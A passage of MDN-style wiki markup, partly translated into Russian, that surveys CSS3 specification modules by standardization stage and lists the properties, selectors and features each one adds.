CSS</h2> - -<h3 id="Стабильные_модули">Стабильные модули</h3> - -<p>Несколько модулей CSS уже достаточно стабильны и достигли одного из трёх уровней рекомендации CSSWG: Кандидат в рекомендации, Предлагаемый к рекомендации и Рекомендован. Они могут быть использованы без префиксов и достаточно стабильны, хотя некоторые фичи могуть не пройти стадию Кандидат в рекомендации.</p> - -<p>Эти модули расширяют и исправляют CSS2.1, составляя ядро спецификации. Вместе с ними, они составляют текущий снэпшот спецификации CSS.</p> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td class="thirdColumn greenBg"><strong>{{ SpecName("CSS3 Colors", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Colors") }} с 7 июня 2011</td> - </tr> - <tr> - <td colspan="2"> - <p>Добавляет свойство {{ cssxref("opacity") }} и функции <code>hsl</code><code>()</code>, <code>hsla()</code>, <code>rgba()</code>, <code>rgb()</code> для создания значений {{cssxref("<color>")}}. Также определяет ключевое слово <code>currentColor</code> как цвет.</p> - - <p>Цвет <code>transparent</code> теперь настоящий цвет (благодаря поддержке альфа-канала) и является псевдонимом для <code>rgba(0,0,0,0.0)</code> .</p> - - <p>Объявляет устаревшими <a href="http://www.w3.org/TR/CSS2/ui.html#system-colors">ключевые слова системных цветов, теперь они не должны использоваться в реальных проектах</a>.</p> - </td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(128,255,128);"><strong>{{ SpecName("CSS3 Selectors", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Selectors") }} с 29 сентября 2011</td> - </tr> - <tr> - <td colspan="2"> - <p>Добавлено:</p> - - <ul> - <li>Атрибут селектора для сравнения подстрок, <code>E[attribute^="value"]</code>, <code>E[attribute$="value"]</code>, <code>E[attribute*="value"]</code> .</li> - <li>Новые псевдо-классы: {{ cssxref(":target") }}, {{ cssxref(":enabled") }} и {{ cssxref(":disabled") }}, {{ cssxref(":checked") }}, {{ cssxref(":indeterminate") }}, {{ cssxref(":root") }}, {{ cssxref(":nth-child") }} и {{ cssxref(":nth-last-child") }}, {{ cssxref(":nth-of-type") }} и {{ cssxref(":nth-last-of-type") }}, {{ cssxref(":last-child") }}, {{ cssxref(":first-of-type") }} и {{ cssxref(":last-of-type") }}, {{ cssxref(":only-child") }} и {{ cssxref(":only-of-type") }},{{ cssxref(":empty") }}, и {{ cssxref(":not") }}.</li> - <li>Псевдо-элементы теперь обозначаются двумя двоеточиями вместо одного: было <code>:after</code> — стало {{ cssxref("::after") }}, <code>:before</code> стало {{ cssxref("::before") }}, <code>:first-letter</code> стало {{ cssxref("::first-letter") }}, <code>и :first-line</code> стало {{ cssxref("::first-line") }}.</li> - <li>Новый <em>general sibling combinator</em> ( <code>h1~pre</code> ).</li> - </ul> - </td> - </tr> - </tbody> -</table> - -<p><a class="external" href="http://dev.w3.org/csswg/selectors4/" title="http://dev.w3.org/csswg/selectors4/">Следующая итерация спецификации Селекторов</a> уже создаётся, хотя она всё ещё не получила статус Первого Публичного Рабочего Черновика.</p> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(128,255,128);"><strong>{{ SpecName("CSS3 Namespaces", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Namespaces") }} с 29 сентября 2011</td> - </tr> - <tr> - <td colspan="2"> - <p>Adds the support for the XML Namespaces by defining the notion of <em>CSS qualified name</em>, using the ' <code>|</code> ' syntax and adding the {{ cssxref("@namespace") }} CSS at-rule.</p> - </td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(128,255,128);"><strong>{{ SpecName("CSS3 Media Queries", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Media Queries") }} с 19 июня 2012</td> - </tr> - <tr> - <td colspan="2"> - <p>Исходные типы media (такие как <code>print</code>, <code>screen </code>и тд.) расширяются до полноценного языка, позволяющего выполнять запросы на определение параметров устройства просмотра. Например, <code>like only screen and (color)</code>.</p> - - <p>Медиа-запросы применяются не только в CSS, но также в атрибутах некоторых HTML элементов. Например, {{ htmlattrxref("media","link") }} для тега {{ HTMLElement("link") }}.</p> - </td> - </tr> - </tbody> -</table> - -<p>The <a href="http://dev.w3.org/csswg/mediaqueries4" title="http://dev.w3.org/csswg/mediaqueries4">next iteration of this specification</a> is in the work, allowing to tailor a Web site regarding the input methods available on the user agent, with new media features like <code>hover</code> or <code>pointer</code>. Detection of EcmaScript support, using the <code>script</code> media features is also proposed.</p> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(128,255,128);"><strong>{{ SpecName("CSS3 Style", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Style") }} since November 7th, 2013</td> - </tr> - <tr> - <td colspan="2">Formally defines the syntax of the content of the HTML <a href="/ru/HTML/Global_attributes#attr-style" title="ru/HTML/Global_attributes#attr-style"> <code>style</code> </a> global attribute.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Backgrounds", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Backgrounds") }}</td> - </tr> - <tr> - <td colspan="2"> - <p>Adds:</p> - - <ul> - <li>Support, on backgrounds, for any type of {{cssxref("<image>")}}, and not only for <code>uri()</code> defined ones.</li> - <li>Support for multiple background images.</li> - <li>The {{ cssxref("background-repeat") }} <code>space</code> and <code>round</code> values, and for the 2-value syntax of this CSS property.</li> - <li>The {{ cssxref("background-attachment") }} <code>local</code> value.</li> - <li>The CSS {{ cssxref("background-origin") }}, {{ cssxref("background-size") }}, and {{ cssxref("background-clip") }} properties.</li> - <li>Support for curved border corners, with the CSS {{ cssxref("border-radius") }}, {{ cssxref("border-top-left-radius") }}, {{ cssxref("border-top-right-radius") }}, {{ cssxref("border-bottom-left-radius") }}, and {{ cssxref("border-bottom-right-radius") }} properties.</li> - <li>Support for the use of an {{cssxref("<image>")}} as the border with the CSS {{ cssxref("border-image") }}, {{ cssxref("border-image-source") }}, {{ cssxref("border-image-slice") }}, {{ cssxref("border-image-width") }}, {{ cssxref("border-image-outset") }}, and {{ cssxref("border-image-repeat") }} properties.</li> - <li>Support for shadows of the element with the CSS {{ cssxref("box-shadow") }} property.</li> - </ul> - </td> - </tr> - </tbody> -</table> - -<p>The <a class="external" href="http://dev.w3.org/csswg/css4-background/" title="http://dev.w3.org/csswg/css4-background/">CSS4 iteration of the Backgrounds and Borders specification</a> is already in progress, though it still hasn't reached the First Public Working Draft stage, it plans to add the ability to clip a border (with the CSS {{ cssxref("border-clip") }}, {{ cssxref("border-clip-top") }}, {{ cssxref("border-clip-right") }}, {{ cssxref("border-clip-bottom") }}, and {{ cssxref("border-clip-left") }} properties) or to control the shape of the border in a corner (using the CSS {{ cssxref("border-corner-shape") }} property).</p> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Multicol", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Multicol") }}</td> - </tr> - <tr> - <td colspan="2">Adds support for easy multi-column layouts using the CSS {{ cssxref("columns") }}, {{ cssxref("column-count") }}, {{ cssxref("column-fill") }}, {{ cssxref("column-gap") }}, {{ cssxref("column-rule") }}, {{ cssxref("column-rule-color") }}, {{ cssxref("column-rule-style") }}, {{ cssxref("column-rule-width") }}, {{ cssxref("column-span") }}, {{ cssxref("column-width") }}, {{ cssxref("break-after") }}, {{ cssxref("break-before") }}, and {{ cssxref("break-inside") }}.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Speech", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Speech") }}</td> - </tr> - <tr> - <td colspan="2">Defines the <code>speech</code> media type, an aural formatting model and numerous properties specific for speech-rendering user agents.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Images", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Images") }}</td> - </tr> - <tr> - <td colspan="2"> - <p>Defines the {{cssxref("<image>")}} data type.</p> - - <p>Extends the <code>url()</code> syntax to support image slices using media fragments.</p> - - <p>Adds:</p> - - <ul> - <li>The <code>dppx</code> unit to the {{cssxref("<resolution>")}} data type.</li> - <li>The <code>image()</code> function as a more flexible alternative to <code>url()</code> to define an image from an url.<br> - <em><strong>At risk</strong> </em> <strong> <em>:</em> </strong> <em> due to insufficient browser support, standardization of the <code>image()</code> function may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li> - <li>Support for <code>linear-gradient()</code>, <code>repeating-linear-gradient()</code>, <code>radial-gradient()</code> and <code>repeating-radial-gradient()</code>.</li> - <li>The ability to define how a replaced element should fit in its element, using the CSS {{ cssxref("object-fit") }} property.<br> - <em><strong>At risk</strong> </em> <strong> <em>:</em> </strong> <em> due to insufficient browser support, standardization of the {{ cssxref("object-fit") }} and property may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li> - <li>The ability to override the resolution and orientation of an external image using the CSS {{ cssxref("image-resolution") }} and {{ cssxref("image-orientation") }} properties.<br> - <em><strong>At risk</strong> </em> <strong> <em>:</em> </strong> <em> due to insufficient browser support, standardization of the {{ cssxref("image-resolution") }} and {{ cssxref("image-orientation") }} properties may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li> - </ul> - </td> - </tr> - </tbody> -</table> - -<p>The <a href="#Images_(Level_4)">CSS Image Values and Replaced Content Level 4</a> which will supersede CSS Image Level 3 is in development and is a {{Spec2("CSS4 Images")}}.</p> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(220, 255, 220);"><strong>{{ SpecName("CSS3 Values", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Values") }}</td> - </tr> - <tr> - <td colspan="2"> - <p>Makes <code>initial</code> and <code>inherit</code> keywords usable on any CSS property.</p> - - <p>Formally defines the CSS data types of CSS 2.1, that were implicitely defined by their grammar token and some textual precisions.</p> - - <p>Adds:</p> - - <ul> - <li>Definition for new font-relative length units: <code>rem</code> and <code>ch</code> .</li> - <li>Definition for viewport-relative length units: <code>vw</code>, <code>vh</code>, <code>vmax</code>, and <code>vmin</code> .</li> - <li>Precision about the real size of the absolute length units, which are not really absolute, but defined in relation with the <em>reference pixel</em> .</li> - <li>Definition for {{ cssxref("<angle>") }}, {{cssxref("<time>")}}, {{cssxref("<frequency>")}}, {{cssxref("<resolution>")}}.</li> - <li>Normative value to the definition of {{cssxref("<color>")}}, {{cssxref("<image>")}}, and {{ cssxref("<position>") }}.</li> - <li>Definition for the {{ cssxref("calc", "calc()") }}, {{ cssxref("attr", "attr()")}}, and <code>toggle()</code> functional notations.<br> - <em><strong>At risk:</strong> due to insufficient browser support, standardization of the <code>calc()</code>, <code>attr()</code>, and <code>toggle()</code> functional notations may be postponed to </em> <em>the next iteration of this module</em><em>.</em></li> - </ul> - </td> - </tr> - </tbody> -</table> - -<p>Several types definition, like <code><ident></code> and <code><custom-ident></code>, have been deferred to CSS Values and Units Module Level 4.</p> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Flexbox", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Flexbox") }}</td> - </tr> - <tr> - <td colspan="2">Add a flexbox layout to the CSS {{ cssxref("display") }} property and several new CSS properties to control it: {{ cssxref("flex") }}, {{ cssxref("flex-align") }}, {{ cssxref("flex-direction") }}, {{ cssxref("flex-flow") }}, {{ cssxref("flex-item-align") }}, {{ cssxref("flex-line-pack") }}, {{ cssxref("flex-order") }}, {{ cssxref("flex-pack") }}, and {{ cssxref("flex-wrap") }}.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(220, 255, 220);"><strong>{{ SpecName("CSS3 Conditional", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Conditional") }}</td> - </tr> - <tr> - <td colspan="2">Adds features for conditional processing of parts of style sheets, conditioned on capabilities of the browser or the document the style sheet is being applied to. It consists mainly in allowing nested at-rules inside {{ cssxref("@media") }} and the adding of a new CSS at-rule, {{ cssxref("@supports") }}, and a new DOM method {{domxref("CSS.supports()")}}.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(220, 255, 220);"><strong>{{ SpecName("CSS3 Text Decoration", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Text Decoration") }}</td> - </tr> - <tr> - <td colspan="2"> - <p>Extends:</p> - - <ul> - <li>the CSS {{ cssxref("text-decoration") }} property by making it a shorthand for the CSS {{ cssxref("text-decoration-line") }}, {{ cssxref("text-decoration-color") }}, and {{ cssxref("text-decoration-style") }} properties. And adds the {{ cssxref("text-decoration-skip") }}, and {{ cssxref("text-underline-position") }} properties.</li> - </ul> - - <p>Adds:</p> - - <ul> - <li>Support for East-Asian-script emphasis marks with the CSS {{ cssxref("text-emphasis") }}, {{ cssxref("text-emphasis-style") }}, {{ cssxref("text-emphasis-color") }}, and {{ cssxref("text-emphasis-position") }} properties.</li> - <li>Support for script shadows with the CSS {{ cssxref("text-shadow") }} property.</li> - </ul> - - <p>Precises:</p> - - <ul> - <li>The paint order of the decorations.</li> - </ul> - - <p><em><strong>At risk:</strong> due to insufficient browser support, standardization of the <code>text-decoration-skip</code>, line positioning rules and the ability to place both emphasis marks and ruby above the same base text may be postponed to </em> <em>the next iteration of this module</em><em>.</em></p> - </td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Fonts", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Fonts") }}</td> - </tr> - <tr> - <td colspan="2"> - <p>Amends the CSS2.1 Font matching algorithm to be closer to what is really implemented.</p> - - <p>Adds:</p> - - <ul> - <li>Support for downloadable fonts via the CSS {{ cssxref("@font-face") }} at-rule.</li> - <li>The control of the contextual inter-glyph spacing via the CSS {{ cssxref("font-kerning") }} property.</li> - <li>The choice of language-specific glyphs via the CSS {{ cssxref("font-language-override") }} property.</li> - <li>The choice of glyphs with specific OpenType features via the CSS {{ cssxref("font-feature-settings") }} property.</li> - <li>The control of the aspect ratio to use when fallback fonts are selected via the CSS {{ cssxref("font-size-adjust") }} property.</li> - <li>The choice of alternative font faces using the CSS {{ cssxref("font-stretch") }}, {{ cssxref("font-variant-alternates") }}, {{ cssxref("font-variant-caps") }}, {{ cssxref("font-variant-east-asian") }}, {{ cssxref("font-variant-ligatures") }}, {{ cssxref("font-variant-numeric") }}, and {{ cssxref("font-variant-position") }} properties. It also extends the related CSS {{ cssxref("font-variant") }} shorthand property and introduces the {{ cssxref("@font-features-values") }} at-rule.</li> - <li>The control of the automatic generation of an oblique or bold face when none are found via the CSS {{ cssxref("font-synthesis") }} property.</li> - </ul> - </td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Cascade", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Cascade") }}</td> - </tr> - <tr> - <td colspan="2"> - <p>Adds:</p> - - <ul> - <li>The <code>initial</code>, <code>unset</code> values for properties.</li> - <li>The CSS {{ cssxref("all") }} property.</li> - <li>The scoping mechanism.</li> - </ul> - - <p>Precises:</p> - - <ul> - <li>Interaction of media-dependent @import statements and style sheet loading requirements.</li> - </ul> - </td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS3 Writing Modes", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Writing Modes") }}</td> - </tr> - <tr> - <td colspan="2">Defines the writing modes of both horizontal and vertical scripts and precises how the CSS {{ cssxref("direction") }} and {{ cssxref("unicode-bidi") }} properties interact with the new CSS {{ cssxref("text-orientation") }} property, and extends them where needed.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS Shapes", "", "") }}</strong></td> - <td>{{ Spec2("CSS Shapes") }}</td> - </tr> - <tr> - <td colspan="2">Defines geometric shapes, which can be applied to floats. These shapes describe areas, around which inline content wraps instead of wrapping around the bounding box.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(220,255,220);"><strong>{{ SpecName("CSS Masks", "", "") }}</strong></td> - <td>{{ Spec2("CSS Masks") }}</td> - </tr> - <tr> - <td colspan="2">Defines a way for partially or fully hiding portions of visual elements. It describes how to use another graphical element or image as a luminance or alpha mask.</td> - </tr> - </tbody> -</table> - -<h3 id="Modules_in_the_refining_phase">Modules in the refining phase</h3> - -<p>Specifications that are deemed to be in the <em>refining phase</em> are already fairly stable. Though changes are still expected, they shouldn't create incompatibilities with current implementations; they should mainly define behavior in edge cases.</p> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("Web Animations", "", "") }}</strong></td> - <td>{{ Spec2("Web Animations") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Counter Styles", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Counter Styles") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("Compositing", "", "") }}</strong></td> - <td>{{ Spec2("Compositing") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Syntax", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Syntax") }}</td> - </tr> - <tr> - <td colspan="2">Precises how charsets are determined; minor changes in parsing and tokenization algorithms.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS Will Change", "", "") }}</strong></td> - <td>{{ Spec2("CSS Will Change") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Transitions", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Transitions") }}</td> - </tr> - <tr> - <td colspan="2">Allows the definition of transitions effects between two properties values by adding the CSS {{ cssxref("transition") }}, {{ cssxref("transition-delay") }}, {{ cssxref("transition-duration") }}, {{ cssxref("transition-property") }}, and {{ cssxref("transition-timing-function") }} properties.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Animations", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Animations") }}</td> - </tr> - <tr> - <td colspan="2">Allows the definition of animations effects by adding the CSS {{ cssxref("animation") }}, {{ cssxref("animation-delay") }},{{ cssxref("animation-direction") }}, {{ cssxref("animation-duration") }}, {{ cssxref("animation-fill-mode") }}, {{ cssxref("animation-iteration-count") }}, {{ cssxref("animation-name") }}, {{ cssxref("animation-play-state") }}, and {{ cssxref("animation-timing-function") }} properties, as well as the {{ cssxref("@keyframes") }} at-rule.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Transforms", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Transforms") }}</td> - </tr> - <tr> - <td colspan="2"> - <p>Adds:</p> - - <ul> - <li>the support of bi-dimensional transforms to be applied to any element using the CSS {{ cssxref("transform") }} and {{ cssxref("transform-origin") }} properties. The supported transforms are: <code>matrix</code><code>()</code>, <code>translate()</code>, <code>translateX()</code>, <code>translateY()</code>, <code>scale()</code>, <code>scaleX()</code>, <code>scaleY()</code>, <code>rotate()</code>, <code>skewX()</code>, and <code>skewY()</code>.</li> - <li>the support of tri-dimensional transforms to be applied to any element by adding the CSS {{ cssxref("transform-style") }}, {{ cssxref("perspective") }}, {{ cssxref("perspective-origin") }}, and {{ cssxref("backface-visibility") }} properties and extended the {{ cssxref("transform") }} property with the following transforms are: <code>matrix</code> <code>3d()</code>, <code>translate3d()</code>, <code>translateZ()</code>, <code>scale3d()</code>, <code>scaleZ()</code>, <code>rotate3d()</code>, <code>rotateX</code><code>()</code>, <code>rotateY</code><code>()</code>, <code>rotateZ()</code>, and <code>perspective()</code>.</li> - </ul> - - <p><em><strong>Note:</strong> this specification is a merge of CSS 2D-Transforms, CSS 3D-Transforms and SVG transforms. </em></p> - </td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255, 255, 220);"><strong>{{ SpecName("CSS3 Fragmentation", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Fragmentation") }}</td> - </tr> - <tr> - <td colspan="2">Defines how partitions of a Web page should happen, that is page, column breaks, and widows and orphans handling. - <p>Adds:</p> - - <ul> - <li>Support for defining the behavior of decorations, that is borders and background colors or images, when a box is breaked (at a page, column or line-break) with the CSS {{ cssxref("box-decoration-break") }} property.</li> - </ul> - </td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Text", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Text") }}</td> - </tr> - <tr> - <td colspan="2"> - <p>Extends:</p> - - <ul> - <li>the CSS {{ cssxref("text-transform") }} property with the value <code>full-width</code>.</li> - <li>the CSS {{ cssxref("text-align") }} property with the value <code>start</code>, <code>end</code>, <code>start end</code>, and <code>match-parent</code> for a better support of documents with multiple directionalities of text.</li> - <li>the CSS {{ cssxref("text-align") }} property with a {{cssxref("<string>")}} value to align on that character. This is useful to align number on the decimal point.</li> - <li>the CSS {{ cssxref("word-spacing") }} and {{ cssxref("letter-spacing") }} properties with range constraints to control flexibility in justification.</li> - </ul> - - <p>Adds:</p> - - <ul> - <li>Control on how whitespaces are displayed using the CSS {{ cssxref("text-space-collapse") }} and {{ cssxref("tab-size") }} properties.</li> - <li>Control on line breaks and word boundaries using the CSS {{ cssxref("line-break") }}, {{ cssxref("word-break") }}, {{ cssxref("hyphens") }}, {{ cssxref("text-wrap") }}, {{ cssxref("overflow-wrap") }}, and {{ cssxref("text-align-last") }} properties.</li> - <li>Control on how justification is happening, in order to support more type of scripts, using the CSS {{ cssxref("text-justify") }} property.</li> - <li>Control on edge effect using the CSS {{ cssxref("text-indent") }} and {{ cssxref("hanging-punctuation") }} properties.</li> - </ul> - </td> - </tr> - </tbody> -</table> - -<p>A few features present in early CSS Text Level 3 draft have being <a class="external" href="http://dev.w3.org/csswg/css3-text/#recent-changes" title="http://dev.w3.org/csswg/css3-text/#recent-changes">postponed to the next iteration of this module</a> .</p> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("CSS3 Variables", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Variables") }}</td> - </tr> - <tr> - <td colspan="2">Defines a mechanism allowing to define variables in CSS.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255,255,220);"><strong>{{ SpecName("Compositing", "", "") }}</strong></td> - <td>{{ Spec2("Compositing") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<h3 id="Modules_in_the_revising_phase">Modules in the revising phase</h3> - -<p>Modules that are in the revising phase are much less stable than those in the refining phase. Often the syntax is still under scrutiny and may evolve a lot, in a non-compatible way. Alternative syntaxes are tested and often implemented.</p> - -<table class="fullwidth-table"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255,160,100);"><strong>{{ SpecName("CSS3 Basic UI", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Basic UI") }}</td> - </tr> - <tr> - <td colspan="2"> - <p>Adds:</p> - - <ul> - <li>The ability to tweak the box model using the CSS {{ cssxref("box-sizing") }} property.<br> - <strong><em>At risk:</em> </strong> <em> due to insufficient browser support, standardization of the <code>padding</code><code>-box</code> value may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li> - <li>Allow the styling of forms according their content using the CSS {{ cssxref(":indeterminate") }}, {{ cssxref(":default") }}, {{ cssxref(":valid") }}, {{ cssxref(":invalid") }}, {{ cssxref(":in-range") }}, {{ cssxref(":out-of-range") }}, {{ cssxref(":required") }}, {{ cssxref(":optional") }}, {{ cssxref(":read-only") }}, and {{ cssxref(":read-write") }} pseudo-classes and the {{ cssxref("::value") }}, {{ cssxref("::choices") }}, {{ cssxref("::repeat-item") }}, and {{ cssxref("::repeat-index") }} pseudo-elements.<br> - <em><strong>At risk:</strong> due to insufficient browser support, standardization of the pseudo-elements {{ cssxref("::value") }}, {{ cssxref("::choices") }}, {{ cssxref("::repeat-item") }}, and {{ cssxref("::repeat-index") }} may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li> - <li>Support for icons, defined by the CSS {{ cssxref("icon") }} property simultaneously with the new <code>icon</code> value of the CSS {{ cssxref("content") }} property.<br> - <em><strong>At risk:</strong> due to insufficient browser support, standardization of the {{ cssxref("icon") }} property and the <code>icon</code> value may be postponed to CSS4. </em></li> - <li>Support for the CSS {{ cssxref("outline-offset") }} property giving more control on the position of the outline.</li> - <li>Support for the CSS {{ cssxref("resize") }} property allowing Web authors to control if and how elements should be resized.</li> - <li>Support for the CSS {{ cssxref("text-overflow") }} property defining how text overflows, if needed.<br> - <em><strong>At risk:</strong> due to insufficient browser support, the 2-value syntax of this property as well as the support for {{cssxref("<string>")}} values may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li> - <li>The ability to define the hotspot of a cursor as well as the new <code>none</code>, <code>context-menu</code>, <code>cell</code>, <code>vertical-text</code>, <code>alias</code>, <code>copy</code>, <code>no-drop</code>, <code>not-allowed</code>, <code>nesw-</code><code>resize</code>, <code>nwse-</code><code>resize</code>, <code>col-resize</code>, <code>row-resize</code>, <code>all-scroll</code>, <code>zoom-in</code>, <code>zoom-out</code>, extending the {{ cssxref("cursor") }} property.</li> - <li>The ability to specify the sequential navigation order (that is the <em>tabbing order</em> ) using the CSS {{ cssxref("nav-index") }}, {{ cssxref("nav-up") }}, {{ cssxref("nav-right") }}, {{ cssxref("nav-left") }}, {{ cssxref("nav-down") }} properties.<br> - <em><strong>At risk:</strong> due to insufficient browser support, standardization of the navigation properties may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li> - <li>The ability to control the usage of an IME editor, using the CSS {{ cssxref("ime-mode") }} property.<br> - <em><strong>At risk:</strong> due to insufficient browser support, standardization of the {{ cssxref("ime-mode") }} property may be postponed to </em> <em>the next iteration of this module</em> <em>.</em></li> - </ul> - </td> - </tr> - </tbody> -</table> - -<p>An early list of what could be in the next iteration of the CSS Basic User Interface Module is <a class="external" href="http://wiki.csswg.org/spec/css4-ui" title="http://wiki.csswg.org/spec/css4-ui">available</a>.</p> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255,160,100);"><strong>{{ SpecName("CSS3 Grid", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Grid") }}</td> - </tr> - <tr> - <td colspan="2">Add a grid layout to the CSS <a href="https://developer.mozilla.org/ru/docs/Web/CSS/display" title=""><code>display</code></a> property and several new CSS properties to control it: {{cssxref("grid")}}, {{cssxref("grid-area")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-flow")}}, {{cssxref("grid-auto-position")}}, {{cssxref("grid-auto-rows")}}, {{cssxref("grid-column")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row")}}, {{cssxref("grid-row-start")}}, {{cssxref("grid-row-end")}}, {{cssxref("grid-template")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-template-rows")}}, and {{cssxref("grid-template-columns")}}.</td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255,160,100);"><strong>{{ SpecName("CSS3 Box Alignment", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Box Alignment") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255,160,100);"><strong>{{ SpecName("CSS3 Paged Media", "", "") }}</strong></td> - <td>{{ Spec2("CSS3 Paged Media") }}</td> - </tr> - <tr> - <td colspan="2"></td> - </tr> - </tbody> -</table> - -<table class="fullwidth-table" style="width: 100%;"> - <tbody> - <tr> - <td style="width: 30%; background-color: rgb(255,160,100);"><strong>{{ SpecName("CSSOM View", "", "") }}</strong></td> - <td>{{ Spec2("CSSOM View") }}</td> - 